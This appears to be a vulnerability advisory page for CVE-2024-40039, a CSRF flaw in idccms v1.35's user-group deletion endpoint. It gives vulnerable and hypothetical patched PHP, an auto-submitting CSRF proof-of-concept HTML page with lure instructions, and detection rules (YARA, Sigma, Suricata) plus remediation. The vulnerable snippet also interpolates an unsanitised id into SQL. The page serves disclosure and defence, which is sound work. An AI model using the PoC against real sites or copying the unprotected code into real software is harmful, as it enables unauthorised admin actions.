CVE-2024-40039
Executive Summary
CVE-2024-40039 identifies a Cross-Site Request Forgery (CSRF) vulnerability in idccms v1.35. The flaw exists in the /admin/userGroup_deal.php?mudi=del endpoint, allowing an attacker to forge requests that delete user groups without the administrator's consent. This vulnerability requires user interaction (e.g., clicking a malicious link) and can lead to unauthorized administrative actions, potentially disrupting user management and access control.
The vulnerability is unpatched, and no official fix has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains for exposed instances.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a standalone PHP application (idccms). No supply chain implications are identified.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Base Score: 4.3 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R)
- Scope: Unchanged (S:U)
- Confidentiality Impact: None (C:N)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
Threat Level: Medium. The vulnerability requires user interaction but can lead to unauthorized deletion of user groups, affecting administrative integrity.
Deep Dive & Mechanics
The vulnerability resides in the mudi=del action of /admin/userGroup_deal.php. The application fails to implement anti-CSRF tokens or origin validation, allowing an attacker to craft a malicious request that, when executed by an authenticated admin, deletes a user group.
Attack Flow:
- Attacker crafts a malicious HTML page or link containing a request to
/admin/userGroup_deal.php?mudi=del&id=GROUP_ID. - Attacker lures an authenticated admin to visit the malicious page.
- The admin's browser sends the forged request with their session cookies.
- The server processes the request, deleting the specified user group.
Root Cause: Lack of CSRF protection mechanisms (e.g., tokens, SameSite cookies, or referrer validation).
Vulnerable vs. Patched Code
Vulnerable Code (idccms v1.35):
// /admin/userGroup_deal.php
if ($_GET['mudi'] == 'del') {
$id = $_GET['id'];
$sql = "DELETE FROM user_group WHERE id = $id";
mysqli_query($conn, $sql);
// No CSRF token check
}
Patched Code (Hypothetical):
// /admin/userGroup_deal.php
session_start();
if ($_GET['mudi'] == 'del') {
if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
die('CSRF token validation failed');
}
$id = intval($_GET['id']);
$stmt = $conn->prepare("DELETE FROM user_group WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
}
Exploitation & Lab Setup
Red Team (Proof of Concept)
Exploit HTML (CSRF PoC):
<html>
<body>
<h1>Click the button to trigger CSRF</h1>
<form action="http://target/admin/userGroup_deal.php?mudi=del&id=1" method="GET" id="csrf_form">
<input type="submit" value="Delete User Group">
</form>
<script>
document.getElementById('csrf_form').submit();
</script>
</body>
</html>
Usage: Host this HTML on an attacker-controlled server. Send the link to an authenticated admin. When the admin visits the page, the form auto-submits, deleting user group ID 1.
Blue Team (Detection & Prevention)
Detection:
- Monitor for unexpected GET requests to
/admin/userGroup_deal.php?mudi=delfrom non-admin IPs. - Alert on multiple rapid deletions of user groups.
Prevention:
- Implement CSRF tokens in all admin forms.
- Enforce SameSite=Strict or Lax on session cookies.
- Validate HTTP Referer header.
Indicators of Compromise (IOCs)
- Network:
- HTTP GET requests to
/admin/userGroup_deal.php?mudi=del&id=[0-9]+ - Referer header pointing to external domains (e.g., attacker.com)
- HTTP GET requests to
- Logs:
- Web server logs showing repeated
userGroup_deal.php?mudi=delrequests from different IPs. - Database logs showing
DELETE FROM user_groupqueries without prior authentication.
- Web server logs showing repeated
- File System:
- Unexpected files in
/admin/directory (e.g., malicious HTML files).
- Unexpected files in
Detection Engineering
YARA Rule
rule CVE_2024_40039_CSRF_idccms {
meta:
description = "Detects CSRF exploitation attempts against idccms v1.35"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2024-40039"
strings:
$s1 = "userGroup_deal.php?mudi=del" ascii wide nocase
$s2 = "DELETE FROM user_group" ascii wide nocase
condition:
any of them
}
Sigma Rule
title: idccms CSRF User Group Deletion
id: 8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects CSRF attempts against idccms v1.35 user group deletion endpoint
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: '/admin/userGroup_deal.php?mudi=del'
condition: selection
falsepositives:
- Legitimate admin actions (rare)
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-40039 idccms CSRF User Group Deletion"; flow:to_server; http.method; content:"GET"; http.uri; content:"/admin/userGroup_deal.php?mudi=del"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the vulnerable endpoint if not required: Block access to
/admin/userGroup_deal.phpvia web server configuration. - Implement CSRF protection manually:
- Add a hidden CSRF token field to all admin forms.
- Validate the token on the server side.
- Restrict admin access to trusted IPs only.
Long-term Fix:
- Upgrade to a patched version of idccms (if available).
- Conduct a full security audit of the application.
Workaround:
- Use a Web Application Firewall (WAF) to block requests to
/admin/userGroup_deal.phpwithmudi=delunless accompanied by a valid CSRF token.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.